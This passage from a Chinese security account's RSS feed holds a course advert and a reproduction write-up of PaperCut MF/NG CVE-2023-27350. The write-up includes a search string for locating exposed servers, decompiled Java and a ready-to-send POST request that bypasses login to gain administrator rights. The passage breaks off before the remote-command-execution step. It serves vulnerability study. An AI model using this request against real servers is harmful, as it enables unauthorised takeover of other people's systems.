<p><a href="2247493840">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=42eb7885&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493840%26idx%3D1%26sn%3Dae11af60cb81257d5eb279d84c36419e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Jul 2023 11:13:00 +0800</pubDate>
    </item>
    <item>
      <title>PeiQi 文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493838&amp;idx=1&amp;sn=a8b70af801bc17db14427748aa955396</link>
      <description>PeiQi文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-07-04 14:34</span> <span style="display: inline-block;">湖北</span>
</p>

<p>PeiQi文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=315ecf56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FibicicIH182el6aQk5QIupCgY1tQDQDSjljY5hU2unbyVNryDENhib8S8K4Dd5CT09MDawwSiayaVrtzXA7rWo26J0w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="671" data-backw="474" data-ratio="1.4148148148148147" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cf166e3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPsY6nMPAiaVdasDHydWExVIkUhAvwFJUl7acHEH82HP4Q2PWCuicoINmg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">课程大纲</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="332" data-backw="474" data-ratio="0.7" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1c8930cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPLyc11TyTBZXBlG0QSHpicsZgQvwXCQRMkQ99Bv51mVEAyaavVDXpdyw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于课程</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">代码审计课程中，一共十四期挖掘思路，主要挖掘目标为各类安全设备以及边界设备等等，通过课程可以充分的了解到设备的常见漏洞出现点和漏洞发生逻辑，从逻辑出发挖掘功能点</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">课程还额外包含了近期爆发高危漏洞的代码分析，贴近近期攻防漏洞</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">每周 2 ～ 3 节课 中插入 1 节来自 北山安全的 SRC 课程，在学习代码审计的同时了解企业常见漏洞和掌握SRC漏洞挖掘技巧，当然，代码审计中我们也不单单的局限于复杂的代码中，而是精确定位逻辑，找出薄弱点，通过思路快速挖掘漏洞</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">SRC课程讲师是来自于北山安全学院的 北山师傅 (百度SRC 2022年榜第八) 和 陈广师傅 (TSRC 2022年榜第二)</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下图分别为北山师傅和陈广师傅的SRC战绩～</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="306" data-backw="474" data-ratio="0.6444444444444445" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9452595d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPGqvzqxSLPyyhaR5TlmSpHInib6s8KduraRw2Pl12DjTFbWIpO6VudFA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">一次付费永久学习</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">目前课程报名为一次付费加入永久学习，加入第一期后后续所有课程就都可以免费学啦～</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">第一次课程安排在7月份，详细信息扫描海报二维码咨询</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247493838">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2e92de8e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493838%26idx%3D1%26sn%3Da8b70af801bc17db14427748aa955396%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 04 Jul 2023 14:34:00 +0800</pubDate>
    </item>
    <item>
      <title>PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493790&amp;idx=1&amp;sn=c6eb7b7480638b11e5fc7405aaed44bb</link>
      <description>PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350</description>
      <content:encoded><![CDATA[<p>
原创 <span>PeiQi文库</span> <span>2023-05-02 13:50</span> <span style="display: inline-block;">湖北</span>
</p>

<p>PaperCut MF SetupCompleted 远程命令执行漏洞 CVE-2023-27350</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0501e164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXtAB6MribNMdiam6URbZsZhxDl1wczmXsf1Vkw0xYPRXp6Vu6PoA8H7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="474" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=47de4383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUdjXwQ2vk0wTGCIb9icVu77fVMtVPreeicnJrIwwfmApVdIID1JrXjeVA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=74667503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU28BTMkJPoo8JIicIXC49BCdyApGtNkygZJfZicxapw0X9LySnLXc8SIg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞，攻击者通过漏洞可以获取后台管理员权限，通过配置脚本JAVA扩展类，可以达到远程命令执行控制服务器</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">PaperCut MF
PaperCut NG</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">网络测绘</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">&#34;papercut&#34;</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">登陆页面</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="195" data-backw="474" data-ratio="0.4106666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=a117b3bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUY6QymL6p9G3qggA6icF8ia0voGbdMehZicQLrBJNH3xHOnJ7LLkU8W4vg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">反编译 pcng-server-web-22.0.4.jar，可以看到登陆时验证方法位于</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">biz/papercut/pcng/web/pages/Home.class<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=50a05e73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUMZ863FOG7y1lH6O1kTKGMn1nPskEOSo6NYOyLXbsZTXEs4BS1Y2VxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">其中含有 Google microsoft 等多种方法登陆，统一使用 performLogin 方法进行用户权限验证</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=be9557a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUYjc4xaQDAmvbk936JLT5Z8mibibl6QdBfN6dEDPcaALF1yZm7dzNn57g%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {<br/>        <span style="color: #c18401;line-height: 26px;">return</span> (Boolean)this.transactionHelper.runInTransaction(() -&gt; {<br/>            LoginType loginType = this.deriveLoginType(username, preferredLoginType);<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> (loginType != null) {<br/>                AccessRightList accessRights = this.authenticationManager.getUserRights(username);<br/>                accessRights = this.deriveAccessRights(loginType, accessRights);<br/>                <span style="color: #c18401;line-height: 26px;">return</span> this.loginUser(username, accessRights, loginType, sso);<br/>            } <span style="color: #a626a4;line-height: 26px;">else</span> {<br/>                this.applicationLogManager.logWarn(this.getClass(), <span style="color: #50a14f;line-height: 26px;">&#34;Home.UserLoginFailureUnknownUser&#34;</span>, new String[]{username});<br/>                this.setErrorMessage(this.getMessage(<span style="color: #50a14f;line-height: 26px;">&#34;LOGIN_DENIED_UNKNOWN_USER&#34;</span>));<br/>                <span style="color: #c18401;line-height: 26px;">return</span> <span style="color: #0184bb;line-height: 26px;">false</span>;<br/>            }<br/>        });<br/>    }<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=36a22203&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUdZ7IqZ3icRr1XKq2M8LOFWzpcm9PvoXoHAJKVSq7dRElnmEdU9Tp8icg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">最后走到 loginUser方法中，根据用户登陆权限重定向到用户页面</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=08ada6e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXD8Km8l5bUxwuYyjdibjALhpkUMOKAGODJMiaabPCOPMeyricqGEvdmLg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">漏洞出现在用户设备配置页面处，其中可以看到调用的方法也是 performLogin</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">public void formSubmit(IRequestCycle cycle) {<br/>        SetupData setupData = this.getSetupData();<br/>        this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());<br/>        this.getAnalyticsConfigurationService().adminNotified();<br/>        this.clearSetupData();<br/>        Home homePage = (Home)cycle.getPage(<span style="color: #50a14f;line-height: 26px;">&#34;Home&#34;</span>);<br/>        homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());<br/>        homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, <span style="color: #0184bb;line-height: 26px;">false</span>);<br/>    }<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">biz/papercut/pcng/web/setup/SetupCompleted.class<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=dfa4ce57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU0ibibMQFQ7BpvSgN4IrPvia6Ylnib3liaCCetK552D4em0VjgIZXoicGpqPA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">主要注意这一部分代码的参数, 代表登陆的权限</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="474" data-ratio="0.5627198124267292" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=ebac0180&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUQZ60XHrhZd1Nj6QyAJF1ZMTL9pTt7IJic0uFb1sXHVCa2ATI9icrqW8g%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, <span style="color: #0184bb;line-height: 26px;">false</span>);<br/>private String _adminUserName = <span style="color: #50a14f;line-height: 26px;">&#34;admin&#34;</span>;<br/>public String <span style="line-height: 26px;"><span style="color: #4078f2;line-height: 26px;">getAdminUserName</span></span>() {<br/>        <span style="color: #c18401;line-height: 26px;">return</span> this._adminUserName;<br/>    }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里固定的登陆权限为 Admin管理员权限，通过调用这个方法就可以获取管理员的后台权限</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">/app?service=page/SetupCompleted<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="145" data-backw="474" data-ratio="0.30666666666666664" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=55658294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUIGOUNawZQpv3icRZ6s3CZPwIzefGHMXrB8VWO8iaZib79XO3RzyNHm6Og%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /app<br/>Cookie: JSESSIONID=xxx<br/>service=direct/1/SetupCompleted/<span style="color: #986801;line-height: 26px;">$Form</span>&amp;sp=S0&amp;Form0=<span style="color: #986801;line-height: 26px;">$Hidden</span>,analyticsEnabled,<span style="color: #986801;line-height: 26px;">$Submit</span>&amp;<span style="color: #986801;line-height: 26px;">$Hidden</span>=<span style="color: #0184bb;line-height: 26px;">true</span>&amp;<span style="color: #986801;line-height: 26px;">$Submit</span>=登录<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="200" data-backw="474" data-ratio="0.4226666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=65a54c89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXeu90wqVuR35tlWmhZZpwFt6Ygz32J2iarbyCTshkfkw09e3aXhstDA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 